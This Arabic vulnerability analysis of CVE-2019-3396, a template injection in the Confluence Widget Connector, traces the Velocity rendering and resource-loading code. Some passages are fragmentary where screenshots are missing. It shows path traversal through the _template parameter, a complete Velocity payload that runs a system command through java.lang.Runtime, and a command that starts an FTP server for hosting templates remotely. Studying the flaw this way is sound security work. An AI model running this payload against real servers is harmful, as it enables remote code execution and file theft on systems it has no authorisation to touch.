
المنتج المتأثر: Confluence Server & Data Center
الإصدار المتأثر: من 6.0.0 إلى 6.15.4
درجة الخطورة: Critical (CVSS ~9.8)
السبب:
يحتوي Confluence على إضافة Widget Connector (تُستخدم لتضمين مقاطع الفيديو والمحتوى الخارجي مثل YouTube وVimeo...).
هذه الوظيفة لا تتحكم بشكل صحيح في إدخال المستخدم، مما يؤدي إلى Server-Side Template Injection (SSTI).
يمكن للمهاجم إرسال حمولة ضارة → يقوم Confluence بالعرض عبر Velocity template engine → تنفيذ كود على الخادم.
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector، فلنجرب البحث في مجلد المصدر الخاص بـ Confluence
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.classDefaultRenderManager.class
getEmbeddedHtml()
YoutubeRendererurl → رابط YouTube الأصلي الذي أدخله المستخدمparams → خريطة تحتوي على معاملات تهيئة العرض (مثل: العرض، الارتفاع، القالب المستخدم للعرض،...).
getEmbedUrl() وsetDefaultParam() وDefaultVelocityRenderService.render()setDefaultParam()
إذا لم يكن _template موجودًا → يتم تعيين القالب الافتراضي إلى youtube.vm.
=> يمكن إضافة _template يدويًا إلى البرنامج
بعد ذلك ندخل إلى DefaultVelocityRenderService.render()
الغرض من الدالة
تستقبل url + معاملات params.
تستخدم قالب Velocity (.vm) للعرض كـ HTML مضمّن (iframe, embed, …).
تحديد القالب
إذا كان params يحتوي _template → يُستخدم هذا القالب.
وإلا → يُستخدم الافتراضي embed.vm.
أنشئ سياقًا افتراضيًا باستخدام MacroUtils.defaultVelocityContext().
أدخل جميع المعاملات من params إلى السياق:
إذا كان المفتاح = tweetHtml → يُحفظ HTML كما هو.
بخلاف ذلك → يتم الترميز بأمان باستخدام GeneralUtil.htmlEncode().
أضف urlHtml وwidth وheight إلى السياق (إذا كانت فارغة فاضبط الافتراضي 400 × 300).

VelocityUtils.getRenderedTemplate()
getRenderedTemplate وgetRenderedTemplateWithoutSwallowingErrors()
getTemplate()
هنا templateName هو نفسه _template المذكور أعلاه.
ثم يستمر بعد ذلك إلى VelocityEngine.Template()

VelocityEngine يستمر الاستدعاء إلى RunimeInstance.getTemplate()
RuntimeInstance (نواة Velocity)
هذا هو “قلب” Velocity Engine. وهو مسؤول عن:
تهيئة المحرك (init)
إدارة الإعدادات والـ macro وparser والتوجيهات ومعالجات الأحداث...
وبشكل خاص: إدارة الموارد عبر ResourceManager
→ أي أن RuntimeInstance لا يقوم بتحميل الموارد بنفسه، بل يفوّض الأمر إلى resourceManager.
CompatibleVelocityResourceManager.getResource()
ConfigurableResourceManager (مخصص لـ Confluence)
هذا هو تنفيذ لواجهة ResourceManager.
وهو مسؤول عن:
إدارة محمّلات الموارد (file loader وclasspath loader وURL loader...).
إدارة globalCache (تخزين القوالب مؤقتًا وفقًا لـ resourceKey).
تنفيذ تحميل/تحديث القالب (ملف .vm) عندما يطلب ذلك RuntimeInstance.

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
عندما يكون المورد في cache، فإنه لا يعيده فورًا، بل يستدعي refreshResource(...).
سيقارن refreshResource وقت آخر تعديل على القرص مع الموجود في cache.
إذا تغيّر الملف → يصبح المورد في cache غير صالح → يُعاد تحميله من القرص → يتم تحديث cache.
👉 لذلك لا تحتاج إلى تغيير resourceKey يدويًا. تضمن آلية التحديث أنه عند تغيير القالب، يتم تحديث cache أيضًا.
قم بإضافة _template وأعد إرسال الطلب

ResourceLoader (الكائنات التي تم إنشاؤها) في Velocity

FileResourceLoader وClasspathResourceLoaderFileResourceLoaderيستدعي StringUtils.normalizePath() لمنع path traversal

normalizePath كما في الصورة
/WEB-INF/web.xml وستلاحظ أنه تم تحميل الملف بنجاح.
/../ClasspathResourceLoader
ClassUtils.getResourceAsStream
findResource() الخاص بـ /org/apache/catalina/loader/WebappClassLoaderBase.class
super.findResource() الذي يعيد URL، أي أنه يمكن الحصول على الكائن.

url.openStream() لجلب البيانات


الحمولة المنفَّذة
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") → تنفيذ أمر النظام "id" على Ubuntu.python3 -m pyftpdlib -p 2005

التنفيذ:
